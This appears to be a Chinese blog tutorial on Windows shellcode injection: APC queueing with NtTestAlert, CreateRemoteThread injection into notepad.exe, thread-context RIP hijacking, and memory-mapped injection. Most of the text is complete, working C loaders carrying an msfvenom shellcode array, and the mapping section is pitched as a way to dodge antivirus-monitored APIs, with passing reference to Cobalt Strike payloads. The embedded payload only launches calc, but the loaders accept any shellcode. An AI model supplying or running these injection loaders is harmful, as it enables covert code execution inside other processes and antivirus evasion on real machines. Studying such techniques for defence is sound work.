Windows Shellcode 注入姿势

#APC

APC(Asynchronous Procedure Call 异步过程调用)是在 Windows 中常用的机制,用于将要在特定线程上下文中完成的作业排队。

APC的实际作用:假设一个线程在执行过程中,发出一个I/O请求,然后设备驱动执行线程传过来的I/O请求,但发出I/O请求的线程会继续执行下去。当线程需要获得返回结果才能继续进行的时候,这时候的线程处于Alertable状态。当设备驱动执行完I/O请求,会将结果插入APC队列,此时系统就会执行APC队列。

APC有两种形式

  • 用户模式APC:由应用程序产生,APC函数地址位于用户空间,在用户空间执行。
  • 内核模式APC:由系统产生,APC函数地址位于内核空间,在内核空间执行。

注意事项

  • 每个线程都会有一个APC队列。
  • 当一个线程从等待状态中苏醒(线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx函数时会进入可唤醒(Alertable)状态),进入Alertable状态的时候,Windows 会在这些函数返回前遍历该线程的APC队列,然后按照先进先出 (FIFO)的顺序来执行APC。
  • 在用户模式下,使用QueueUserAPC把APC过程添加到目标线程的APC队列中。等这个线程恢复执行时,就会执行插入的APC。也可利用NtTestAlert函数,它会检查当前线程的 APC 队列,如果有任何排队的APC 作业,它会运行它们以清空队列。
1
2
3
4
5
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC, //APC 函数地址
  [in] HANDLE    hThread, //线程句柄(可以跨进程)
  [in] ULONG_PTR dwData  //APC 函数的参数
);

#APC 注入

如上所述,可知道主动运行APC 队列有两种方式: 一是可通过创建一个suspend状态的线程,将shellcode地址插入该线程的APC 队列,再唤起该线程,此时APC 队列就会执行。二是通过NtTestAlert来主动执行APC 队列。

实现代码

生成弹计算器的shellcode msfvenom -p windows/x64/exec CMD="calc.exe" -f c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <Windows.h>

//定义NtTestAlert的函数指针
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

			//获取ntdll.dll地址
			pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
			//分配可执行内存空间
			LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
			//((void(*)())lpBaseAddress)();
			//方法一
			QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
			NtTestAlert();
			//方法二
			/*HANDLE  hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
			QueueUserAPC((PAPCFUNC)lpBaseAddress, hThread, NULL);
			ResumeThread(hThread);
			WaitForSingleObject(hThread,INFINITE);*/

}

#函数指针与指针函数

  1. 函数指针定义格式

    void (* func) (void);

  2. 函数指针作用

    调用函数和做函数的参数。

  3. 理解

    • 函数指针的实质还是指针,还是指针变量。
    • 函数指针、数组指针、普通指针之间并没有本质区别,区别在于指针指向的是什么。
    • 函数的实质是一段代码,这一段代码在内存中是连续分布的。函数中的第一句代码的地址就是所谓的函数地址,在C语言中用函数名这个符号来表示。
1
2
3
4
5
6
7
8
9
void func1(void)        //定义一个函数,以方便下面定义函数指针
{
	printf("test for function pointer.\n");
}
 
void (*pFunc)(void);    //函数指针定义
pFunc = func1; 	        //函数指针赋值
(*pFunc)();             //函数指针调用;用函数指针来调用以调用该函数,注意*pFunc要用()括起来
//pFunc();              //调用的第二种写法,效果和上面一样

而指针函数实质是一个函数,叫这个名字是因为他的返回类型是某一类型的指针。

#理解 (*(void (* )()) lpBaseAddress)()

就是把从指定地址开始的命令当作函数进行调用执行。

  1. void (*)() 是一个无参数、无返回类型的函数指针。
  2. (void (*)())lpBaseAddress 是将lpBaseAddress强转为函数指针类型。
  3. (*(void (*)()) lpBaseAddress)() 就是通过函数指针(相当于这个格式(*函数指针)())进行函数调用。

#远程线程注入

远程线程注入主要是通过CreateRemoteThread在另外一个进程中创建一个线程并执行。

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

注入方式很简单: 打开远程进程句柄(PROCESS_ALL_ACCESS)—在目标进程里分配内存空间—将shellcode 写入到远程地址空间中—给CreateRemoteThread传入shellcode地址,启动线程。

实现代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0, GetProcessIdByName(L"notepad.exe"));
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 2*4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	//注入shellcode 
	WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
	HANDLE hThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
	WaitForSingleObject(hThread, INFINITE);
	//注入dll
	//char path[] = "C:\\Users\\kaifa\\Desktop\\1.dll";
	//WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
	//LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	//CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);

	printf("%d\n",GetLastError());

}

为什么在注入calc的shellcode后会导致目标进程崩溃,但是注入cs的shellcode却不会?

个人认为cs的shellcode运行后会阻塞自己(sleep),这样会给Windows 调度其他线程的机会。所以该进程的其他线程会有机会执行。弹计算器的shellcode执行完后该线程就直接退出了。

或者修改线程上下文的Rip指针来执行shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
TCHAR ProcessName[] = L"notepad";
CreateProcess(NULL, ProcessName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, 2 * 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

指令指针IP/EIP/RIP的基本作用是指向要执行的下一条指令地址。

  1. 在8086被称为IP(instruction pointer 指令指针),指向下一条指令。
  2. 指令指针EIP寄存器包含了当前代码段中的一个偏移量,通过CS:EIP联合指向了即将执行的下一条指令。
  3. 在64位模式下,指令指针是RIP寄存器。这个寄存器保持着下一条要执行的指令的64位地址偏移量。

#内存映射注入

内存映射文件就是申请一个区域的地址空间,把位于磁盘上的文件全部或部分映射到该内存地址空间上,而不是常规的文件读写方式: 将文件加载到内存中,再分配内存给该地址空间。这种方式的好处是可以不用对文件执行I/O操作,以及对文件内容进行缓存,特别是在处理超大文件时,对内存资源占用极少。

使用内存映射注入还可以在分配内存时,避免使用一些被杀毒软件严密监控的API,如VirtualAllocEx,WriteProcessMemory等。

正常的内存映射文件流程:

  1. 利用CreateFile 创建文件内核对象,获取该对象句柄。
  2. 利用CreateFileMapping 创建一个文件映射内核对象,并传入第一步打开的文件对象句柄。
  3. 利用MapViewOfFile 将文件数据映射到进程的地址空间。该函数将返回文件在进程空间的起始地址。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <Windows.h>
#include <Tlhelp32.h>
#pragma comment (lib, "OneCore.lib")
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] = 
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	//申请了一段进程虚拟地址,相当于代替了VirtualAlloc,这里不需要从磁盘文件读取shellcode,所以没用到CreateFile。
	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITEs, 0, 0, sizeof(shellcode));

	//复制shellcode到分配的进程虚拟地址中,lpMapAddress为该地址空间的首地址。
	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(L"notepad.exe"));
	//向另一进程中写入该虚拟地址空间的内容,相当于代替WriteProcessMemory
	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
	//创建远程线程
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);

}

Tips: 使用文件映射进行远程进程注入的缺点是它仅适用于 x86→x86 和 x64→x64。VirtualAllocEx与WriteProcessMemory支持跨位数的注入。

推荐后面不使用 MapViewOfFile2和CreateRemoteThread 来注入远程线程,而是使用APC队列。

1
2
3
4
5
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE| FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpMapAddress, GetCurrentThread(), NULL);
NtTestAlert();

#参考

  1. Windows Ring3层注入--"QueueUserAPC" APC注入(四)_手拿肉的美女剑豪的博客-CSDN博客

  2. APC & NtTestAlert Code Execute

  3. Mapping Injection

加载评论